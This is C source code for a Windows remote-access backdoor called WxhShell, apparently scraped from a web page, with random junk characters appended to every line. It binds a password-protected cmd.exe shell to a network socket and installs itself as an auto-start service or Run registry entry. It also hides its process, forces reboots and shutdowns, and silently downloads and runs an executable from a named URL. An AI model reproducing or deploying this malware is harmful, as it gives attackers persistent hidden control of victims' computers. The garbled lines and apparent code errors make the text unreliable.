    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); vS24;:f  
    if(Boot(SHUTDOWN)) "`$'tk[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7/U<\(V!g  
    else { s&QBFyKtJ  
    closesocket(wsh); &Curvc1fm  
    ExitThread(0); TJ%]{%F  
    } q|]0on~ ]  
    break; 4, *^QK  
    } bN7UO  
  // 获取shell aJa^~*N/Aa  
  case 's': { =p&'_a^$  
    CmdShell(wsh); zb~MF_&gE  
    closesocket(wsh); Kt!IyIa;Ht  
    ExitThread(0); #.<F5  
    break; 5M\=+5wB  
  } A 4W  
  // 退出 y T1Qep  
  case 'x': { /i~^LITH  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); lu@>?,<  
    CloseIt(wsh); SJ WP8+  
    break; 'Kso@St`o  
    } >kDdWgRQ  
  // 离开 5[j!\d}U  
  case 'q': { eV {FcJha  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); zcD_}t_K  
    closesocket(wsh); tM PX vE  
    WSACleanup(); L/iVs`qF  
    exit(1); _{Q?VQvZ  
    break; mJDKxgGK  
        } Mn }Z9S[  
  } yzM+28}L<I  
  } eE.5zXU3R  
vX0I^ 8.  
  // 提示信息 eEri v@v  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g0:4zeL  
} f;tyoN0wHx  
  } mTuB*  
c] >&6-;rf  
  return; &6^W% r  
} :2UC{_  
b-(UsY:  
// shell模块句柄 :kiO  
int CmdShell(SOCKET sock) 64 \5v?C  
{ :@@A  
STARTUPINFO si; 1-NX>E5  
ZeroMemory(&si,sizeof(si)); dj'8x48H2W  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1={Tcq\]  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4(0t GF  
PROCESS_INFORMATION ProcessInfo; iZq@W3GL C  
char cmdline[]="cmd"; _l{ 5 'm  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); R;TEtu7  
  return 0; YT(1 "{:  
} X,Q=n2X?3  
!{ESeBSCG  
// 自身启动模式 gy,TT<1)  
int StartFromService(void) ME10dr  
{ yDkDtO`K  
typedef struct 61rh\<bn  
{ *"QE1Fum'  
  DWORD ExitStatus; >5@vY?QXO  
  DWORD PebBaseAddress; })0 7u  
  DWORD AffinityMask; PSQ:'  
  DWORD BasePriority; 7+!7]'V  
  ULONG UniqueProcessId; Y\z\{JW  
  ULONG InheritedFromUniqueProcessId; cV_IG}LJ  
}   PROCESS_BASIC_INFORMATION; o(>-:l i0  
LI|HET_  
PROCNTQSIP NtQueryInformationProcess; FPUR0myCU  
L|1zHDxQ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; FqUt uN  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; q}F%o0  
vBYT)S  
  HANDLE             hProcess; |o=\9:wV  
  PROCESS_BASIC_INFORMATION pbi; !>2\OSp!  
v{{2<,l  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6u, 0y$3  
  if(NULL == hInst ) return 0; "QFADk1  
AB &wn>q  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;{q) |GRF  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); q>:&xR"ra  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); X>GY*XU  
U:4Og8  
  if (!NtQueryInformationProcess) return 0; AUjTcu>i  
YG1`%,OW`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Y7V&zF{  
  if(!hProcess) return 0; [`-O-?=  
8!%"/*P$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~W*j^+T"  
&aAo:pj  
  CloseHandle(hProcess); p,u<g JUL  
KIBZQ.uG  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); c)!s[oL  
if(hProcess==NULL) return 0; ;ld~21#m  
2[&-y[1  
HMODULE hMod; $~@096`QL<  
char procName[255]; PW//8lsR  
unsigned long cbNeeded; >Wit"p  
ZFuJ2 :  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @$yYljP  
cTa D{!zm5  
  CloseHandle(hProcess); 6`";)T[G9  
s1\BjSzk  
if(strstr(procName,"services")) return 1; // 以服务启动 M Hyl=5  
tMBy ^@p  
  return 0; // 注册表启动 *^+xcG  
} [5eT|uy  
Hh;6B!zb+  
// 主模块 TIh zMW\/K  
int StartWxhshell(LPSTR lpCmdLine) _%Ld E z  
{ J9=0?^v-:B  
  SOCKET wsl; JIKxY$GS  
BOOL val=TRUE; ZpctsCz]  
  int port=0; J'c9577$  
  struct sockaddr_in door; 5"~^;O  
HgATH  
  if(wscfg.ws_autoins) Install(); ]bE?n.NwZ  
!gew;Jz  
port=atoi(lpCmdLine); N&h!14]{ Z  
6Oba}`)q9  
if(port<=0) port=wscfg.ws_port; 8 (h  
^QQ NJ  
  WSADATA data; 3X,{9+(F  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `h3}"js  
9Zsb1 M!n>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   8si^HEQ8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~[y+B0I3  
  door.sin_family = AF_INET;  de47O  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Hf{%N'4  
  door.sin_port = htons(port); F-,{+B66  
@CI6$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { GiwA$^Hg\  
closesocket(wsl); _1c_TMh}9  
return 1; V"jnrNs3  
} s'Q^1oQM2h  
l'%R^  
  if(listen(wsl,2) == INVALID_SOCKET) { ^|;4/=bbs  
closesocket(wsl); '0$[Ujc  
return 1; }F`2$ Q+CW  
} W*`6ero  
  Wxhshell(wsl); pDq_nx9  
  WSACleanup(); I8;[DP9  
U?j>28  
return 0; * .VZ(wX  
1+}Ud.v3VW  
} V>92/w.fe  
<1.mm_pw  
// 以NT服务方式启动 ~Fb?h%w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) swL|Ff`$  
{ k\%v;3nBK  
DWORD   status = 0; <uwCP4E  
  DWORD   specificError = 0xfffffff; O9)}:++T  
FN EmGz/4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %{abRBny  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; m9c T}x&j  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; r['C.S6  
  serviceStatus.dwWin32ExitCode     = 0; 6|cl`}g_j  
  serviceStatus.dwServiceSpecificExitCode = 0; wx5*!^&j  
  serviceStatus.dwCheckPoint       = 0; p=gUcO8  
  serviceStatus.dwWaitHint       = 0; 7zZ|=W?&{  
: X|7l?{xW  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); J3^ZPW  
  if (hServiceStatusHandle==0) return; qJt gnk|  
ZUW>{'[K  
status = GetLastError(); #'h CohL  
  if (status!=NO_ERROR) M)^9e?  
{ yLOLv6g~e  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; + aqo8'a  
    serviceStatus.dwCheckPoint       = 0; Kp8T;&<Iay  
    serviceStatus.dwWaitHint       = 0; s2=X>,kz?  
    serviceStatus.dwWin32ExitCode     = status; gjLgeyyWC  
    serviceStatus.dwServiceSpecificExitCode = specificError; XO~^*[K  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ++"PPbOe&D  
    return; K({,]<l5  
  } $Xc<K_Z  
ITlkw~'G  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; YH9] T,  
  serviceStatus.dwCheckPoint       = 0; %]oLEmn}y  
  serviceStatus.dwWaitHint       = 0; gj X1b2  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5K~6`  
} Ib2pV2`h(  
|R/50axI  
// 处理NT服务事件,比如:启动、停止 AB\4+ CLV  
VOID WINAPI NTServiceHandler(DWORD fdwControl) n5>N9lc  
{ ZS_f',kE  
switch(fdwControl) Z"+!ayA7D  
{ oF xVK  
case SERVICE_CONTROL_STOP: k"{U}Y/}  
  serviceStatus.dwWin32ExitCode = 0; CHI(\DXNs  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ;g]+MLV9  
  serviceStatus.dwCheckPoint   = 0; r^^C9"  
  serviceStatus.dwWaitHint     = 0; 1Di&vpn0u  
  { uK5x[m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); oH"N>@Vl  
  } N@0scfO6<  
  return; \"Iy <zG  
case SERVICE_CONTROL_PAUSE: Dx'e+Bm  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; dxWw%_Q  
  break; = g}yA=.  
case SERVICE_CONTROL_CONTINUE: =LnAMl#9  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]]3D` F}  
  break; -1JHhRr]  
case SERVICE_CONTROL_INTERROGATE: u`|fmVI  
  break; \]%U?`A  
}; =C)1NJx&~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); HCK4h DKo}  
} bp,CvQ'}a  
EdpR| z  
// 标准应用程序主函数 1PSb72h<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >.\E'e5^C  
{ PM7/fv*,  
9To6Rc;  
// 获取操作系统版本 "QS7?=>*F  
OsIsNt=GetOsVer(); ||aU>Wj4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >,3 3Jx  
xK3;/!\`  
  // 从命令行安装 Kx0dOkE  
  if(strpbrk(lpCmdLine,"iI")) Install(); d*L'`BBsp  
1[^d8!U  
  // 下载执行文件 dZmq  
if(wscfg.ws_downexe) { ^ BKr0~4A  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) sN2l[Ous  
  WinExec(wscfg.ws_filenam,SW_HIDE); vE(Hy&Q&  
} Dzr5qP?#  
jq{Ix  
if(!OsIsNt) { 2wQ CQ"  
// 如果时win9x,隐藏进程并且设置为注册表启动 >qA&;M  
HideProc(); BYU.ptiJJ  
StartWxhshell(lpCmdLine); ]U%Tm>s.  
} A4' aB0^  
else MzD0F#Y  
  if(StartFromService()) )3sb 2 #  
  // 以服务方式启动 mN02T@R-  
  StartServiceCtrlDispatcher(DispatchTable); za7wNe(s  
else _wCSL.  
  // 普通方式启动 e$=|-J z  
  StartWxhshell(lpCmdLine); J?'!8,RX  
y e'5 A   
return 0; cDg27xOUi  
} 46~ug5gV  
r$5!KO  
51x,[y+Xe  
:cTi$n  
=========================================== qv\yQ&pj  
v*3:8Y,  
wn`budH?c8  
Xl;N= fc  
soF^G21N  
g 7X>i:  
" |:z%7J3wP  
Yo:&\a K[  
#include <stdio.h> tPsU7bFk  
#include <string.h> odDt.gQXU  
#include <windows.h> DxHeZQ"LL  
#include <winsock2.h> :Kiu*&{  
#include <winsvc.h> &kvVMn ok  
#include <urlmon.h> qb&*,zN  
t At+5H  
#pragma comment (lib, "Ws2_32.lib") kWFR(J&R  
#pragma comment (lib, "urlmon.lib") Lrq&k40y  
V EzIWNV  
#define MAX_USER   100 // 最大客户端连接数 o;fQ,r P%  
#define BUF_SOCK   200 // sock buffer ^-ZqS  
#define KEY_BUFF   255 // 输入 buffer o/R-1\Dn  
/l L*U  
#define REBOOT     0   // 重启 |UG)*t/  
#define SHUTDOWN   1   // 关机 T[~X~dqwn"  
[z\*Zg  
#define DEF_PORT   5000 // 监听端口 :[doYizk:  
lV8Mr6m  
#define REG_LEN     16   // 注册表键长度 N5^:2ag  
#define SVC_LEN     80   // NT服务名长度 +Q.[W`goV  
M:x(_Lu  
// 从dll定义API v;S JgZK  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8J} J;Ga  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); M4| L  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Sc&_6} K  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); S:gP\Atf>  
# V +e  
// wxhshell配置信息 * 7CI q  
struct WSCFG { _),@^^&x  
  int ws_port;         // 监听端口 A Ho<E"R\  
  char ws_passstr[REG_LEN]; // 口令 <$E8T>U  
  int ws_autoins;       // 安装标记, 1=yes 0=no M5]w U   
  char ws_regname[REG_LEN]; // 注册表键名 i|*:gH  
  char ws_svcname[REG_LEN]; // 服务名 OR3TRa XD  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 A.n1|Q#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 RW 5T}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 a^BD55d?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no T~la,>p|}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" c}A^0,"z>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 AOpfByw  
fOfp.`n  
}; FwyPmtBj  
Hogr#Sn2  
// default Wxhshell configuration |c) #zSv  
struct WSCFG wscfg={DEF_PORT, ec|IT0;  
    "xuhuanlingzhe", {PZe!EQ  
    1, 3iB8QO;pp  
    "Wxhshell", Nbr{)h  
    "Wxhshell", `g7' )MSy  
            "WxhShell Service", q07>FW R  
    "Wrsky Windows CmdShell Service", ;RXv%ML  
    "Please Input Your Password: ", ]Sh&8 #  
  1, ][3 "xP  
  "http://www.wrsky.com/wxhshell.exe", ctf'/IZ5  
  "Wxhshell.exe" - 0zo>[c/p  
    }; $/Mk.(3'P  
~34$D],D  
// 消息定义模块 QeGU]WU{  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1z)+P1nH]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6(.&y;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; di"*K*~y  
char *msg_ws_ext="\n\rExit."; [X|P(&\hQd  
char *msg_ws_end="\n\rQuit."; @uc%]V<:k  
char *msg_ws_boot="\n\rReboot..."; m|!sY[!  
char *msg_ws_poff="\n\rShutdown..."; ;kY=}=9  
char *msg_ws_down="\n\rSave to "; TWy1)30x  
il: ""x7^y  
char *msg_ws_err="\n\rErr!"; N3,EF1%  
char *msg_ws_ok="\n\rOK!"; U9Sp$$L  
{2!.3<#  
char ExeFile[MAX_PATH]; (q)W<GYP  
int nUser = 0; mV-MJ$3r  
HANDLE handles[MAX_USER]; Ba"Z^(:  
int OsIsNt; t ,0~5>5  
g%K3ah v  
SERVICE_STATUS       serviceStatus; JWLQ9U X  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ;(z0r_p<q  
uJi|@{V  
// 函数声明 "F=O   
int Install(void); _]B'C  
int Uninstall(void); 5'X.Z:  
int DownloadFile(char *sURL, SOCKET wsh); rKO[;]_*  
int Boot(int flag); ^+-i7`|=  
void HideProc(void); Yt&^ i(  
int GetOsVer(void); DwoO([&I  
int Wxhshell(SOCKET wsl); {&xKS WNc  
void TalkWithClient(void *cs); \2uQ"kJC  
int CmdShell(SOCKET sock); 905 /4z'  
int StartFromService(void); ;#AV~Y- s  
int StartWxhshell(LPSTR lpCmdLine); j &~OR6  
(i {  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); xR$xAcoSB  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ZZ.GpB.  
%0L 9)-R  
// 数据结构和表定义 "/K44(^  
SERVICE_TABLE_ENTRY DispatchTable[] = zT.qNtU%  
{ U`xjau+  
{wscfg.ws_svcname, NTServiceMain}, >XB Lm`a  
{NULL, NULL} $cjidBi`):  
}; zI&oZH^vn  
U\+o$mU^  
// 自我安装 YI|7a#*F  
int Install(void) E#J+.&2  
{ -|g~--@Q  
  char svExeFile[MAX_PATH]; 0C7x1:  
  HKEY key; G"wy?  
  strcpy(svExeFile,ExeFile); 0Y{A  
[^#6.xH  
// 如果是win9x系统,修改注册表设为自启动 ='a$>JVJ5  
if(!OsIsNt) { XSXS;Fh)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ENygD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 66v6do7  
  RegCloseKey(key); /mmC qP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |[8&5[);  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "Q ^Ck7  
  RegCloseKey(key); '(;`t1V8k  
  return 0; rlgp1>89  
    } q* +}wP  
  } G >bQlZG  
} LXr nAt  
else { $`mxOcBmQ  
fs\l*nBig  
// 如果是NT以上系统,安装为系统服务 +[ !K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); LyH{{+V  
if (schSCManager!=0) \It8+^d@  
{ F8f@^LVM/  
  SC_HANDLE schService = CreateService @a+1Ri`)  
  ( &0~E+ 9b  
  schSCManager, 8ex{N3  
  wscfg.ws_svcname, Iell`;  
  wscfg.ws_svcdisp, K%O%#Kk  
  SERVICE_ALL_ACCESS, iCnKQG  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,@Xl?  
  SERVICE_AUTO_START, p1q"[)WVn^  
  SERVICE_ERROR_NORMAL, Bi9 S1 p  
  svExeFile, ,..&j+m  
  NULL, a?_N8|k[  
  NULL, 6|L<? X  
  NULL, >2TDYB|;  
  NULL, ^ 14U]<  
  NULL o/ ozX4C  
  ); ,!Gw40t  
  if (schService!=0) 82{Lx7pI  
  { ,dP-sD;<  
  CloseServiceHandle(schService); *MglX<  
  CloseServiceHandle(schSCManager); ~J)_S' #  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <`}Oi 5nW  
  strcat(svExeFile,wscfg.ws_svcname); 1Jjay#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { E)7vuWO O  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9t9x&.A  
  RegCloseKey(key); 'gI q_t|^  
  return 0; oSq4g{xvMH  
    } J4&d6[40  
  } N*y09?/h  
  CloseServiceHandle(schSCManager);  \9N1:  
} Z_Qs^e$  
} FWNWOU  
07`hQn)Gc  
return 1; &Ba` 3V\M  
} f%<kcM2  
Cz` !j  
// 自我卸载 p3`ND;KQ  
int Uninstall(void) n=qN@u;Fi#  
{ g1UP/hNJ\8  
  HKEY key; e0Zwhz,  
ihS;q6ln  
if(!OsIsNt) { wylbs@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qj/ pd 7\  
  RegDeleteValue(key,wscfg.ws_regname); ?RNm8,M  
  RegCloseKey(key); &NM.}f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { DryN}EMOKD  
  RegDeleteValue(key,wscfg.ws_regname); MEf`&<t  
  RegCloseKey(key); M{w[hV  
  return 0; `lygJI?H+{  
  } *:L-/Q)i  
} Q]?r&%Y  
} ;6P #V`u  
else { =:A hg 9  
QQ;<L"VW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); E{'{fo!#)  
if (schSCManager!=0) '#pY/,hVB  
{ Myaj81  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); o_R<7o/d|  
  if (schService!=0) 'RZ=A+%X  
  { ;;;aM:6\  
  if(DeleteService(schService)!=0) { IYAvO%~  
  CloseServiceHandle(schService); lV924mh  
  CloseServiceHandle(schSCManager); 1$mxMXNsJ  
  return 0; 'Km ~3t  
  } 2^RWGCEv  
  CloseServiceHandle(schService); Va"H.]  
  } $De14  
  CloseServiceHandle(schSCManager); P&I%!'<   
} A@M%}h  
} 4j+FDc`  
])Rs.Y{Q5  
return 1; VAPRI\uM;  
} `TwDR6&  
YD>5zV%!D  
// 从指定url下载文件 3h N?l :/b  
int DownloadFile(char *sURL, SOCKET wsh) Zcst$Aro  
{  =ie8{j2:  
  HRESULT hr; Lxz!>JO>  
char seps[]= "/"; /6S% h-#\  
char *token; i;Y3pF0%P  
char *file; tf<}%4G  
char myURL[MAX_PATH]; #x|xL7  
char myFILE[MAX_PATH]; / ,Unp1D  
!A_<(M<  
strcpy(myURL,sURL); Q5Yy \M  
  token=strtok(myURL,seps); !'m MGxkEb  
  while(token!=NULL) SUGB)vEa  
  { kHMD5Q  
    file=token; N!me:|Dn  
  token=strtok(NULL,seps); wwmHr!b:6  
  } X~+AaI :~K  
(h&XtFul}  
GetCurrentDirectory(MAX_PATH,myFILE); <7  
strcat(myFILE, "\\"); 5~8FZ-x  
strcat(myFILE, file); tFj[>_d7  
  send(wsh,myFILE,strlen(myFILE),0); (p6$Vgdt  
send(wsh,"...",3,0); [k<"@[8)  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); V/N:Of:\R  
  if(hr==S_OK) lSW6\jX  
return 0; ''. P=  
else Q#gzk%jL@  
return 1; '2LK(uaU  
0 $Ygt0d  
} &ZyZmB  
8nV#\J9  
// 系统电源模块  x&^>|'H  
int Boot(int flag) *,x-}%X  
{ d;:H#F+ (  
  HANDLE hToken; 7tZvz `\  
  TOKEN_PRIVILEGES tkp; 1VXyn\  
+,8j]<wpo  
  if(OsIsNt) { J)kH$!csi  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); yLFZo"r  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $RAS pM  
    tkp.PrivilegeCount = 1; $nf5bo/;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  s*XE  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); UYw_k\  
if(flag==REBOOT) { *HC[LM  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 3P}^Wu  
  return 0; 5Yxs_t4  
} O4c[,Uq8~  
else { 85{2TXQ^%=  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Nd;)V  
  return 0; lhk=yVG3  
} 8?yRa{'"  
  } WSi`KNX  
  else { :NCY6? [Dz  
if(flag==REBOOT) { s8O.yL  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) (Ci{fY6`  
  return 0; !<EQVqj6  
} pwIu;:O!?  
else { UgqfO(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) QXaE2}}P  
  return 0; &7 0o4~Fr  
} ~ k(4eRq  
} 'nx";[6(  
Q|$?d4La8  
return 1; t%k1=Ow5i  
} .,vF% pQ  
M94zlW<  
// win9x进程隐藏模块 v,eTDgw  
void HideProc(void) jsp)e=  
{ tMy<MO)Ei  
'B"A*!" b  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &x mYpQ  
  if ( hKernel != NULL ) G=VbEL^H  
  { =cP7"\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \>7hT;Av=G  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); hRc.^"q9  
    FreeLibrary(hKernel); Y-ZTv(<  
  } Bu{1^g:  
X:/Y^Xu  
return; 7^hwRZJ{  
} Y%GIKtP  
fR^aFT  
// 获取操作系统版本 :nLhg$wMs  
int GetOsVer(void) Yw!(]8PYdU  
{ >}I BPC  
  OSVERSIONINFO winfo; Ho^rYz  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2a,l;o$2&  
  GetVersionEx(&winfo); n){F FM  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) bMCy=5  
  return 1; ^Gt9.  
  else n !oxwA!  
  return 0; Cg]Iz< <bE  
} rn8#nQ>QZ%  
sI,S(VWor  
// 客户端句柄模块 ;,&$ob*/  
int Wxhshell(SOCKET wsl) `A0trC3  
{ HLruZyN4  
  SOCKET wsh; I_aS C4  
  struct sockaddr_in client; gX'nFGqud  
  DWORD myID; 5 0KB:1(g  
OS{j5o  
  while(nUser<MAX_USER) &pk&8_=f  
{ -~HyzX\cZB  
  int nSize=sizeof(client); bMjE@S&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ajJ+Jn\  
  if(wsh==INVALID_SOCKET) return 1; 5h!ZoB)n  
WF&?OHf2  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); n7$2 1*,  
if(handles[nUser]==0) No(p:Snbo  
  closesocket(wsh); p]^?4  
else ]!mC5Ea  
  nUser++; +<TnE+>j  
  } cy%S5Rz  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }b$W+/M\  
nyRQ/.3  
  return 0; 2cu?2_,  
} H}f} Y8J{  
i| /EA7  
// 关闭 socket Jmcf9g  
void CloseIt(SOCKET wsh) "I n[= 2w  
{ ;5.S"  
closesocket(wsh); M~SbIk<#a<  
nUser--; z{uRq A G  
ExitThread(0); YB?5s`vr9d  
} up^D9(y\  
S +mM S  
// 客户端请求句柄 P)k!#*  
void TalkWithClient(void *cs) loR,f&80=O  
{ sSdnH_;&  
c 0/vB  
  SOCKET wsh=(SOCKET)cs; A])+Pe  
  char pwd[SVC_LEN]; (;(P3h  
  char cmd[KEY_BUFF]; 'G|M_ e  
char chr[1]; P-25]-  
int i,j; *? <ygzX  
(7k}ysc  
  while (nUser < MAX_USER) { Q"VS;uh.v  
))xyaYIZkk  
if(wscfg.ws_passstr) { lij>u  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l+!eC lM%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fk)5TPc^  
  //ZeroMemory(pwd,KEY_BUFF); EW}7T3g  
      i=0;  tOEY|  
  while(i<SVC_LEN) { mcgkNED  
lq[o2\  
  // 设置超时 UFOUkS F  
  fd_set FdRead; #@^mA{Dt5  
  struct timeval TimeOut; m&&Y=2  
  FD_ZERO(&FdRead); L3s1a -K  
  FD_SET(wsh,&FdRead); o)}M$}4  
  TimeOut.tv_sec=8; X 8#Uk}/  
  TimeOut.tv_usec=0; f?P>P23  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \]7i-[  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3Gyw^_{J  
%k8 H'w\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  A&8{0  
  pwd=chr[0]; 4 >2g&);B  
  if(chr[0]==0xd || chr[0]==0xa) { -l2aAK1M  
  pwd=0; J 6%CF2  
  break; Dmq_jt  
  } "$6 .L^9W  
  i++; A-GU:B  
    } EH2a  
~;ZT<eCIA  
  // 如果是非法用户,关闭 socket QswbIP/>:'  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Lo-\;%y  
} iFBH;O_~  
/'<Qk'   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); S9@2-Oc  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6vL+qOdx  
CG397Y^  
while(1) { ]\ DIJ>JZ  
M>m+VsJV  
  ZeroMemory(cmd,KEY_BUFF); fx#Krr @  
R&P}\cf8T  
      // 自动支持客户端 telnet标准   "gQA|NHwV  
  j=0; +`_Km5=  
  while(j<KEY_BUFF) { C#3K.0a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R|OY5@  
  cmd[j]=chr[0]; :.J]s<J(F  
  if(chr[0]==0xa || chr[0]==0xd) { "'zVwU  
  cmd[j]=0; N |nZf5{  
  break; +[C><uP  
  } \'[C_+;X  
  j++; 5<=ktA48[  
    } W%,h{  
FsTl@zN  
  // 下载文件 J~=tR1 k  
  if(strstr(cmd,"http://")) { XxeyGs^%9  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Duh[(r_  
  if(DownloadFile(cmd,wsh)) _ giZ'&l!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); WJJwhr  
  else L2P#5B!S  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *s[bq;$  
  } c!20(( 2|I  
